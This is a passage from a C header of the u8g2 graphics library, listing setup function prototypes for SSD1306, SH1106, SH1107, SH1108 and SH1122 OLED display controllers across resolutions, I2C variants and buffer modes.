*u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_72x40_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_96x40_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_96x39_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_96x40_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_96x39_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_96x40_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_96x39_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_96x40_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_96x39_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_96x40_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_96x39_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_96x40_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_96x39_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_72x40_wise_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_72x40_wise_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_72x40_wise_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_72x40_wise_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_72x40_wise_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_72x40_wise_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_64x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_64x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_64x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_64x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_64x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_64x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_128x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_tk078f288_80x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_128x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_tk078f288_80x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_128x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_tk078f288_80x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_128x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_tk078f288_80x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_128x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_tk078f288_80x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_128x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_tk078f288_80x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_pimoroni_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_seeed_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_pimoroni_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_seeed_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_pimoroni_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_seeed_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_pimoroni_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_seeed_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_pimoroni_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_seeed_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_pimoroni_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1107_i2c_seeed_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_128x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_128x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_128x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_i2c_128x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_i2c_128x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_i2c_128x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_i2c_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_i2c_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1108_i2c_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1122_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1122_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1122_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1122_i2c_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1122_i2c_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1122_i2c_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x32_univision_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x32_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x32_univision_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x32_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x32_univision_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_128x32_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x32_univision_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x32_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x32_univision_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x32_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x32_univision_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_128x32_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_102x64_ea_oleds102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_102x64_ea_oleds102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_102x64_ea_oleds102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x32_visionox_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x32_visionox_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_128x32_visionox_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x32_visionox_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x32_visionox_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sh1106_i2c_128x32_visionox_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_64x48_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_64x48_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_64x48_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_64x48_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_64x48_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_64x48_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_48x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_48x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_48x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_48x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_48x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_48x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_64x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_64x32_1f_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_64x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_64x32_1f_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_64x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_64x32_1f_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_64x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_64x32_1f_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_64x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_64x32_1f_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_64x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_64x32_1f_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, 